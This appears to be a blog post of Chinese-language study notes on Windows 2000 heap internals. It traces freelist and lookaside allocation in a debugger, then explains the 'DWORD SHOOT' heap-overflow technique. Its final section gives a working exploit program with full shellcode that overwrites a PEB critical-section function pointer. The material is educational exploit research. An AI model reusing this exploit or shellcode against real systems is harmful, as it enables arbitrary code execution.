dustland

dustball in dustland

windows2000 堆溢出

windows堆

堆数据结构

windows的堆由堆块和堆表组成

堆表:一般位于堆区的起始位置,用于索引所有堆块,包括堆块位置,大小,是否空闲

堆块:性能原因,一般分为大小不同的块.每个堆块都分为两部分,块首和块身.其中块首包含了描述本堆块的信息,包括大小,是否空闲等.块身紧跟在块首后面

申请堆空间的函数比如malloc,new等,其返回的地址是块身起始地址

占用的堆块被使用它的程序索引.空闲的堆块被堆表索引

堆表数据结构

空闲双向链表Freelist,空表

快速单向链表Lookaside,快表

Freelist

空闲堆块的块首有两个指针,用于将多个堆块链接成双向链表

堆表区有一个128项的指针数组,空表索引画在图上就长这样

image-20220919081803916

每个空表索引后面拉着一溜全都是一样大小的堆块

空表索引free[n]后面拉着的堆块大小都是\(n\times 8\ byte\)

特别的是free[0],其中的堆块都是1024以上的,并且按照大小不降拉溜

空表索引就是包含两个指针的结构体,两个指针分别指向拉溜的头和腚.

相当于

1
2
3
4
struct FreeListIndex{
FreelistNode * first;
FreelistNode * last;
}FreeList[128];

意思意思就行了

Lookaside

块表用来加速堆分配,块表是单向链表,不会发生堆块合并

image-20220919082249956

每个lookaside[n]节点,后面最多拉4个节点

后面最多拉4个节点,后面最多拉4个节点,后面最多拉4个节点

堆操作

对操作分为堆块分配,堆块释放,堆块合并

其中分配释放是程序员在程序中规定的,堆块合并由数据结构自己管理

堆块分配

快表分配,普通空表分配,0号空表分配

快表分配

1.找到大小匹配的空闲堆块

2.将该堆块的状态修改为占用

3.从堆表中把他卸下,也就是其前驱指向其后继

4.返回堆块块身首地址给程序指针托管

普通空表分配

寻找能够满足空间要求的最小堆块

零号空表分配

对于希望分配的空间大小x,首先反向搜索最后一个零号堆块,由于零号空表只增不减,最后一个零号堆块是最大的,如果最大的堆块没有x大,则零号空表分配失败

否则从头开始寻找第一个可以容纳x的堆块

空表找零钱现象

如果没有精确匹配希望分配空间大小的堆块,则拿一个大堆块,精确割出需要的空间大小,然后剩下的重新标注块首链接到空表中

快表只有精确匹配时才会分配,不会发生找零钱现象

堆块释放

1.修改堆块状态为空闲

2.堆块重新连入堆表末尾

堆块合并

将两个块从空表卸下,合并堆块,合并块首信息,然后将该堆块重新连入空闲链表

快表中的空闲块都会被设置为占用状态,不参与堆块合并

内存紧缩

image-20220919092345723

堆分配释放算法

image-20220919092818744

下面调试验证上述数据结构和操作

堆调试

书上调试的程序长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

//free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]

HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]


return 0;
}

第七行用int 3指令下断点让程序停下,从这里附加调试器,因为如果直接从头调试运行的话,堆会装孙子,不使用快表

首先要了解一下这几个API的作用

API

HeapCreate

在进程地址空间中创建辅助堆

1
2
3
4
5
HANDLE HeapCreate(
[in] DWORD flOptions,//堆上的操作类型,包括读写执行等
[in] SIZE_T dwInitialSize,//开始时分配给堆的字节数
[in] SIZE_T dwMaximumSize//堆最大的字节数,0则表示无上限
);

返回值是该堆空间的句柄,也就是基地址

1
hp = HeapCreate(0,0x1000,0x10000);

这样用的意思是,没有访问限制,初始时分给0x1000字节的堆空间,最大可以要0x10000字节的堆空间,将该堆空间的句柄交给hp变量保管

HeapAlloc

1
2
3
4
5
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
[in] HANDLE hHeap,
[in] DWORD dwFlags,
[in] SIZE_T dwBytes
);

hHeap是堆空间的句柄,可以是HeapCreate或者GetProcessHeap的返回值

其中HeapCreate是我们手动申请的堆空间,GetProcessHeap是进程堆空间,这个在程序运行开始就有了

如果函数调用成功则返回申请空间的基地址

1
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);

这样用的意思是,从刚才HeapCreate创建的堆空间中要一块3字节的空间,该块空间将会被初始化为0

HeapFree

释放HeapAlloc或者HeapReAlloc申请的堆空间

1
2
3
4
5
BOOL HeapFree(
[in] HANDLE hHeap,
[in] DWORD dwFlags,
[in] _Frees_ptr_opt_ LPVOID lpMem
);
1
HeapFree(hp,0,h1);

将h1这一小块还给hp

哪一块是堆?

ollydbg起来实时调试时,程序是停在0x40101D这个地方的

在反汇编视图上INT3发生于调用HeapCreate函数之后

image-20220919171320225

显然此时EAX就存放的HeapCreate的返回值,即hp句柄,也就是申请的堆空间的基地址0x390000,显然是一个用户地址空间的值

image-20220919171420641

在内存界面上它长这样

image-20220919171519939

大小0x1000是我们给CreateHeap指定的初始值

双击该地址到内存视图看看

从0x390000开始,堆表中一次是段表索引,虚表索引,空表使用标识,空表索引区

堆块结构

WPS图片拼图

两者的区别主要在于[8,16)字节,由于占用态的堆块已经从空闲链表中取下,因此不需要再维护前后指针

空闲态堆块尚未填充数据,因此这两个字节分别用于前后指针

当占用态的堆块要归还的时候,这两个字节又得存放指针

调试时,0x390688这里是Flink in freelist的位置,而真正的堆块起始位置应该在往前8个字节,即0x390680位置

一般引用堆块的指针都是会越过8字节的头部

尾块头部
块首属性 意义
Self Size 0x130 该尾块的data区大小0x130*8=0x980字节
注意单位是8字节,并且这0x980是包括堆块头部的
Previous chunk 0x80
Segment 0
Flags 0x10
Unused bytes 0
Tag Index 0

Flink in freelist和Blink in freelist此时都是指向Freelist[0]这个索引项的

Freelist[0]

左手拉右手,右手拽左手

然后后面全都是0,因为尚未使用

堆块的行为

1.堆块大小包括了块块首,申请32字节,实际分配堆块40字节,前8字节是堆块首.返回的指针指向第9字节(下标8)

2.堆块的单位是8字节,不足八字节的按照八字节分配

3.初始状态下快表和空表都是空,只有一个Freelist[0]后面拉着一个尾块,这个尾块在堆偏移0x688处

4.分配的时候从尾块头上(整个尾块包括尾块首都得换地方)开始切,切走之后要修改尾块块首的Self Size信息,并且将新的尾块data地址交给freelist[0]

调试观察空表

空表索引区Freelist[128]

空表索引区位于偏移0x178处,即0x390178

一个刚初始化的堆,其状态如下

1.只有一个空闲大块,叫做尾块

2.该尾快位于堆偏移0x688处

3.Freelist[0]指向"尾块"

4.除零号空表索引外,其余各项索引指向自己,即没有空闲块

空表索引,即Freelist表,其第0项的偏移就是Freelist表的偏移,0x178+0x390000=0x390178,这个位置长这样

image-20220919184326162

Freelist[0]上只挂着尾块,因此前后指针都是指向尾块的,尾块的地址是0x00390688,即堆偏移0x688的地方

其他的空表索引Freelist[n]的两个指针都是指向自己,整个Freelist数组一共有128项,每项两个4字节指针,共128*4*2=1024=0x400字节,从0x390178到0x390578全都是Freelist

image-20220919190028685

一直持续到0x390578

image-20220919190022123

分配

重新从win2k上用od调试了一下,现在堆基址是0x360000

下面是六次分割

1
2
3
4
5
6
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
堆句柄 希望请求字节数 实际分配堆块的字节数
h1 3 16
h2 5 16
h3 6 16
h4 8 16
h5 19 32
h6 24 32
分割之前

分割之前的尾块

image-20220919202335032

flags=0x10表示尾块

第一次分割

第一次分割时

image-20220919202432017

ESI作为第一个参数,是CreateHeap返回的堆句柄0x360000

8是要初始化该片空间为0,实际是枚举值HEAP_ZERO_MEMORY

3是希望申请的字节数

edi中放着的是AllocateHeap函数的地址

call edi之后0x360680附近发生了变化

image-20220919204334903

call的返回值放在eax中,此时为0x360688,这意味着h1堆块data地址,这是原来的尾块data

那么h1堆块首就得在0x360680了,这是原来的尾块首

h1堆块首中的数据:

大小0x0002,(单位8字节),即16字节

上一个块的大小0x0008(啥意义呢?)

Flags=01,busy

unused bytes=0x0D,13个字节?

然后h1堆块数据的前四个字节确实置零了,但是后面四个字节依然保持着尾块首留下的指针,因为我们只希望申请3个字节,本来给16个字节其中data占8字节就已经是为了遵守硬性要求,8字节对齐了,前四个字节够用了,后面四个字节不用清零

尾块此时的大小0x12E相比于0x130少了2(单位8字节),正好是h1堆块首和data的大小,尾块的第二个八字节依然是两个指针,指向freelist[0]

此时freelist[0]@0x00360178其上的值也修改了

image-20220919205258485

实时修改为当前尾块data地址

六次分割后

继续调试,直到六次分配完成

1
2
3
4
5
6
7
8
9
10
11
00360680  02 00 08 00 00 01 0D 00 00 00 00 00 78 01 36 00  .........x6.//h1
00360690 02 00 02 00 00 01 0B 00 00 00 00 00 00 01 36 00 ... ......6.//h2,希望5字节于是只有data前5字节初始化为0
003606A0 02 00 02 00 00 01 0A 00 00 00 00 00 00 00 36 00 ...........6.//h3,希望6字节于是只有data前6字节初始化为0
003606B0 02 00 02 00 00 01 08 00 00 00 00 00 00 00 00 00 ............//h4
003606C0 04 00 02 00 00 01 0D 00 00 00 00 00 00 00 00 00 .............//h5
003606D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
003606E0 04 00 04 00 00 01 08 00 00 00 00 00 00 00 00 00 ............//h6
003606F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00360700 20 01 04 00 00 10 00 00 78 01 36 00 78 01 36 00 ....x6.x6.//尾块
00360710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00360720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

此时尾块大小已经减为0x120(单位8字节),其两个指针仍然是指向0x00360178,

freelist[0]@0x00360178的两个指针必然也指向了0x360708

image-20220919210617841

被申请走的堆块,对于系统中的堆来说,算是平白无故就没了,无法通过任何方式索引到拿走的堆块,只有是用户程序归还的时候,系统才可以把堆块重新放到Freelist里面,这时候就不是放到尾块里面了,16字节的块(包括首部)应该放到freelist[2]

释放

释放h1

释放是从h1开始的

1
2
3
4
5
6
HeapFree(hp,0,h1); //free to freelist[2] 
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]

HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

image-20220919211337324

esi=0x360000是hp句柄

dwflags=0没有任何标志

ebx是h1句柄,这里貌似有一个编译优化,在h1堆申请完毕之后,h1句柄是放在eax中的,在h2堆申请之前,eax又放到了ebx中,从那到现在ebx中一直都是h1句柄没有改变

调用之后eax=1,表示执行成功

此时的 h1堆块@0x360680发生了变化

1
2
3
4
释放之前
00360680 02 00 08 00 00 01 0D 00 00 00 00 00 78 01 36 00 .........x6.//h1
释放之后
00360680 02 00 08 00 00 00 0D 00 88 01 36 00 88 01 36 00 ......?6.?6.

其变化为,标志位又回归0,表示空闲,第二个八字节,原来是data的开始现在又变成了两个指针,都指向0x00360188

这是啥位置呢?

Freelist@0x00360178,

Freelist[0]@0x00360178

Freelist[1]@0x00360180

Freelist[2]@0x00360188

即原来的h1所在堆块,现在链接回了Freelist[2]上

有意思的是,8字节的堆块首+8字节的data,已经是占用堆块的最小规格了,最小规格的堆块释放之后才能挂到Freelist[2]上,那么Freelist[1]上应该挂什么呢?

如果根据Freelist[n]指向的堆块大小为8n(包括堆块首和堆块data),那么Freelist[1]指向的堆块应该是8字节的首+0字节的data,这个堆块是个寂寞吧

前三次释放后

前三次释放分别是h1,h3,h5,这是三个不连续的堆块,不会发生合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//三次释放前
00360680 02 00 08 00 00 01 0D 00 00 00 00 00 78 01 36 00 .........x6.//h1
00360690 02 00 02 00 00 01 0B 00 00 00 00 00 00 01 36 00 ... ......6.//h2,希望5字节于是只有data前5字节初始化为0
003606A0 02 00 02 00 00 01 0A 00 00 00 00 00 00 00 36 00 ...........6.//h3,希望6字节于是只有data前6字节初始化为0
003606B0 02 00 02 00 00 01 08 00 00 00 00 00 00 00 00 00 ............//h4
003606C0 04 00 02 00 00 01 0D 00 00 00 00 00 00 00 00 00 .............//h5
003606D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
003606E0 04 00 04 00 00 01 08 00 00 00 00 00 00 00 00 00 ............//h6
003606F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00360700 20 01 04 00 00 10 00 00 78 01 36 00 78 01 36 00 ....x6.x6.//尾块
00360710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................


//三次释放后
00360680 02 00 08 00 00 00 0D 00 A8 06 36 00 88 01 36 00 ......?6.?6.//h1
00360690 02 00 02 00 00 01 0B 00 00 00 00 00 00 01 36 00 ... ......6.//h2
003606A0 02 00 02 00 00 00 0A 00 88 01 36 00 88 06 36 00 ......?6.?6.//h3
003606B0 02 00 02 00 00 01 08 00 00 00 00 00 00 00 00 00 ............//h4
003606C0 04 00 02 00 00 00 0D 00 98 01 36 00 98 01 36 00 ......?6.?6.//h5
003606D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
003606E0 04 00 04 00 00 01 08 00 00 00 00 00 00 00 00 00 ............//h6
003606F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00360700 20 01 04 00 00 10 00 00 78 01 36 00 78 01 36 00 ....x6.x6.//尾块
00360710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................


三次释放前后h2,h4,h6没有发生任何变化,尾块也没有发生任何变化

三次释放前后发生变化的有h1,h3,h5,发生的变化也是很有规律的,首先是flag从1到0,意思是从占用到空闲

每个堆块的第二个八字节,都变成了两个指针

释放堆块 释放后的前一个指针值 释放后的后一个指针值
h1@00360688 0x003606A8 0x00360188
h3@003606A8 0x00360188 0x00360688
h5@003606C8 0x00360198 0x00360198
Freelist[2]@0x00360188 0x00360688 0x003606A8
Freelist[4]@0x00360198 0x003606C8 0x003606C8

Freelist表也发生了变化

Freelist
1
2
3
4
5
Freelist[0]@0x00360178
Freelist[1]@0x00360180
Freelist[2]@0x00360188
Freelist[3]@0x00360190
Freelist[4]@0x00360198

相当于画在下图中的状态

image-20220920080020364

合并

前面三个释放,都不是连续的堆地址,现在要再释放h4,他和h3,h5是连续的,又会发生什么呢?

1
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

h4堆块的大小是16字节(8首部+8data),有可能要和已经释放的h1,h3进行合并

执行后的Freelist

1
2
3
4
5
6
7
8
9
Freelist[0]@00360178  08 07 36 00 08 07 36 00  6.6.
Freelist[1]@00360180 80 01 36 00 80 01 36 00 €6.€6.
Freelist[2]@00360188 88 06 36 00 88 06 36 00 ?6.?6.
Freelist[3]@00360190 90 01 36 00 90 01 36 00 ?6.?6.
Freelist[4]@00360198 98 01 36 00 98 01 36 00 ?6.?6.
Freelist[5]@003601A0 A0 01 36 00 A0 01 36 00 ?6.?6.
Freelist[6]@003601A8 A8 01 36 00 A8 01 36 00 ?6.?6.
Freelist[7]@003601B0 B0 01 36 00 B0 01 36 00 ?6.?6.
Freelist[8]@003601B8 A8 06 36 00 A8 06 36 00 ?6.?6.

从h1,3,5释放完成后到h4释放完成后,发生变化的Freelist记录有

1
2
3
Freelist[2]@0x00360188
Freelist[4]@0x00360198
Freelist[8]@0x003601B8

可以看出Freelist[2]原来后面挂着两个节点h1@00360688,h3@003606A8,现在只剩下一个h1@0x00360688

Freelist[4]原来后面挂着h5@003606C8,现在指向自己了,后面啥也没挂

Freelist[8]后面挂了一个H@0x003606A8

也就是说消失了h3,h5,还有一个h4,恰好他仨是顺序的,是不是Freelist[8]后面挂着的这个就是呢?去0x003606A0看看这个堆块首部

1
2
003606A0  08 00 02 00 00 00 0A 00  ......
003606A8 B8 01 36 00 B8 01 36 00 ?6.?6.

SelfSize=0x0008(单位8字节),即64字节

Flags=0,空闲状态

前指针Freelist[8]@0x3601B8,

后指针Freelist[8]@0x3601B8

而h3,4都是8+8=16的堆块,h5是8+24=32的堆块,合起来正好是64字节

这证明Freelist[8]上挂着的就是h3,4,5合并起来的堆块

调试观察快表

药引子长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}

与调试空表时的区别就在HeapCreate函数这里

1
2
hp = HeapCreate(0,0x1000,0x10000);//调试空表时
hp = HeapCreate(0,0,0);//调试快表时

HeapCreate(0,0,0);这样才能启用快表

call HeapCreate

调用HeapCreate之后,返回值堆区句柄eax=0x360000

此时的空表Freelist和之前不一样了,Freelist[0]@0x00360178挂着的尾块在0x00361E90了,原来是在0x360688

image-20220920110236696

从尾块分配

1
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//希望从hp堆申请8字节空间,初始化为0

这一条执行之后,返回的堆空间句柄eax=0x361E90,到这里看看

image-20220920112928353

0x361E88开始的八个字节是堆块首

head

selfsize=0x0002(单位8字节),即堆块首加上data共16字节

Flag=0x01,已占用

unused bytes=8,有8字节尚未使用

此时Freelist[0]指向的尾块也发生了变化

Freelist[0]@0x00360178

image-20220920122010974

尾块原来在0x00361E90,现在下移到了0x00361EA0

说明刚才的堆块仍然是从尾块上割出去的

当四条HeapAlloc都执行完成之后

1
2
3
4
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

下面就到了HeapFree了,此时就和之前不同了

但是还给快表

调试空表时,HeapAlloc申请的空间,使用HeapFree之后会归给还到空表,并且相邻的堆块还会进行合并

而本次调试,HeapAlloc申请的空间,将会还给快表

释放h1

第一次释放的时h1@0x361E90

1
HeapFree(hp,0,h1);

到0x361E90看看

image-20220920142559502

self size=0x02,即16字节

flags=0x01,因为快表中的节点都标记为已占用

unused bytes=0x08未使用字节数

再到快表看看

image-20220920143027699

Lookaside[1]@0x3606E8此时其上的指针为0x00361E90,正好就是刚才释放的h1@0x00361E90

释放h2
1
HeapFree(hp,0,h2);

h2和h1一样都是8字节堆首+8字节data,并且两者的地址相邻,释放h2之后会不会发生堆块合并呢?快表没这个能力

执行之后Lookaside[1]@0x3606E8指向h2@0x361EA0了,原来是指向h1@0x00361E90的

这就纳闷了,h1@0x00361E90这个堆块目前被谁索引着呢?找不到它不就内存泄漏了吗

到h2@0x361EA0看看

image-20220920150733600

原来是h2指向了h1

目前快表是这样一个状态

image-20220920151907615

h1的指针占用了h2data的前4个字节,但是没关系,再申请8字节的堆空间的时候,直接从Lookaside[1]拉的链上把最后面一个摘下来,前面的data就不用存最后这个的指针了

四次释放完毕后

将从尾块上割下来的h1,2,3,4都释放了,他们都会挂在lookaside上

画到图上是这样的

image-20220920152300952

从快表分配

四次分配释放完成后,实际上干了一个瓜分尾块到快表的事,下面又要进行分配了

1
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

16字节,正好Lookaside[2]上面挂着一个h3@361EB0,这个幸运儿又要得到程序的重用了

不出所料,调用HeapAlloc函数,返回之后,eax中的句柄值为0x361EB0

image-20220920152553906

到这里去看看

image-20220920152632807

SelfSize=0x0003(单位8字节),即堆块首8字节+data16字节=24字节

flags=0x01,占用状态

再到Lookaside[2]@0x360718看看

一夜回到解放前

Lookaside[1]@3606E8还有Lookaside [3]@360748都没有发生变化,唯独Lookaside[2]@0x360718一夜回到解放前了

堆溢出

finally,可以搞点事情了

DWORD SHOOT

"双字射击"

构造数据,溢出下一个堆块的块首,改写该堆块中的前向指针flink,后向指针blink,在分配,释放,合并等操作时司机获得一次想内存任意地址写入任意数据的机会

为啥叫做"DWORD SHOOT"呢?

"DWORD"是因为攻击负载是一个双字,后面就看到了

"SHOOT"是因为这种攻击类似于狙击,只有一次机会,不是栈溢出的大水漫灌

如何发生?

考虑我们自己写一个双向的链表ADT时,释放其中一个节点应该怎么写?

image-20220920154638925
1
2
3
4
5
6
7
8
9
struct Node{
Node *flink;
Node *blink;
int data;
}
void delet(Node *node){
node->blink->flink=node->flink;//后节点的前指针指向当前节点的前节点
node->flink->blink=node->flink;//前节点的后指针指向当前节点的后节点
}

然后篡改node节点的前后指针

image-20220920155918456

然而这都是猜想,windows开发者怎么写的现在我们不知道,下面调试观察是不是这样

调试分配时DWORD SHOOT

调试程序是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <windows.h>
main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);//一开始时申请0x1000个字节的堆空间,最大能够申请0x10000个字节
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//希望申请8个字节,实际上从尾块瓜分16字节空间
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//连续从尾块上瓜分16*6=96字节空间

_asm int 3 //used to break the process//在此中断附加调试器
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1); //释放奇数块,避免合并
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries//现在空表freelist[2]后面托着3油瓶
//后来的直接头插法接到freelist[2]后面,后来的先分配

//will allocate from freelist[2] which means unlink the last entry (h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //再申请8字节,要把刚才释放的h5要回来

return 0;
}

在win2k上,发行版的程序在INT3之后报错,此时附加od进行调试

六次HeapAlloc之后

image-20220920161251631

此时程序刚执行了最后一个HeapAlloc,eax中还保存着句柄h6=0x5206D8

可以推测,堆区在0x520000,在内存映射视图中观察,确实如此

image-20220920161424952

6次HeapAlloc都是瓜分的尾块

尾块现在的位置应该是位于h6的下面

image-20220920161542418

h6块首@0x5206D0

h6data@0x5206D8

确实如此,尾块@0x526E8,两个指针都是指向Freelist[0]@0x520178

尾块首@0x5206E0.

h1,3,5释放之后

1
2
3
4
5
6
Freelist[0]@00520178  E8 06 52 00 E8 06 52 00  ?R.?R.
Freelist[1]@00520180 80 01 52 00 80 01 52 00 €R.€R.
Freelist[2]@00520188 88 06 52 00 C8 06 52 00 ?R.?R.
Freelist[3]@00520190 90 01 52 00 90 01 52 00 ?R.?R.
Freelist[4]@00520198 98 01 52 00 98 01 52 00 ?R.?R.
Freelist[5]@005201A0 A0 01 52 00 A0 01 52 00 ?R.?R.

其中Freelist[0]两个指针都指向尾块,

Freelist[2].flink=h1@0x00520688

Freelist[2].blink=h5@0x005206C8

在图上就是这么一个状态

image-20220920162635151

篡改h5的两个指针

下一次分配h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);将会把刚才释放的h5@0x005206C8再要回去,

在要回去之前要修改h3还有Freelist[2]的指针

image-20220920162918303

在该次分配前,将h5的两个指针先改掉

修改之前

修改之后

修改之后

然后单步步过执行该分配函数,

此时控制跳转到0x77CCAAD位置,这应该是在HeapAlloc库函数或者其调用函数中了

image-20220920163836240

尝试将ecx中的数据写到内存上ds:[EDX],ds即程序数据段选择子,此时ECX和EDX就是我们赋的两个值

image-20220920163956631

ollydbg已经报错

寄了

利用DWORD SHOOT

利用点:

内存变量

代码逻辑

返回地址

异常处理机制

函数指针

PEB线程同步函数入口地址

书上的实验选定受害者是RtlEnterCriticalSection函数指针

该函数的作用是同步一个进程的不同线程,RtlEnterCriticalSection和RtlCriticalSection函数是访问临界区时需要调用的,保证线程对临界区的访问互斥

进程退出时,ExitProcess函数会调用这两个临界区函数,但是调用方式是函数指针

这两个函数指针在PEB+0x20处

RtlEnterCriticalSection@0x7FFDF020

RtlLeaveCriticalSection@0x7FFDF024

利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F82060h the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
//0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

h1向hp堆申请了200字节的空间,但是memcpy中却允许往里放0x200=512字节

而h1后面紧跟着的就是尾块,如果往h1上写入多余200个字节,就把尾块溢出了

将尾块的首部的指向Freelist[0]的两个指针溢出修改,再发生分配的时候就DWORD SHOOT了

可以将PEB中的RtlEnterCriticalSection@0x7FFDF020这个指针修改为shellcode

DWORDSHOOT之后堆异常,程序会调用ExitProcess结束进程

ExitProcess会调用0x7FFDF020处的函数指针,但是这个指针已经被溢出成shellcode了,于是shellcode就执行了

调试观察

int 3中断时,刚执行完h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);

eax=0x360688,即h1句柄,h1堆的大小200=0xC8字节,data占据了[0x360688,0x0x360750)

那么尾块的首部就得在0x360750

image-20220920211125615

0x758开始的八个字节是尾块的两个指向Freelist[0]的指针

然后是将shellcode拷贝到h1

1
2
3
4
5
00401026   B9 80000000      MOV ECX,80;重复拷贝次数,0x80次
0040102B BE 30604000 MOV ESI,heap_PEB.00406030;shellcode作为源地址
00401030 8BF8 MOV EDI,EAX;h1->eax->edi作为目的地址
00401037 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI];每次从ESI指向的内存上拿出一个双字拷贝到edi指向的内存上

如此总共拷贝了0x80*4=512字节,显然要溢出尾块了.

拷贝完成后再看尾块

image-20220920212207155

尾块的flink已经溢出修改为0x360688,这是shellcode的起始地址

尾块的blink已经溢出修改成0x7F7D7020,这是PEB中线程同步函数指针的地址

尾块首的前8字节溢出值仍然是合法的首部值,这是为了防止程序在DWORD SHOOT前寄掉,他真的,我哭死

shellcode

shellcode有两个系统相关的数值,一个是NTDLL.DLL中RtlEnterCriticalSection这个函数的地址,这个可以使用dependency walker查

另一个是shellcode将会被加载进入进程虚拟地址空间的哪里,这个可以先调试观察一次,然后修改shellcode

使用内联汇编加载器加载shellcode,观察这段代码干了啥

修复PEB临界区控制函数

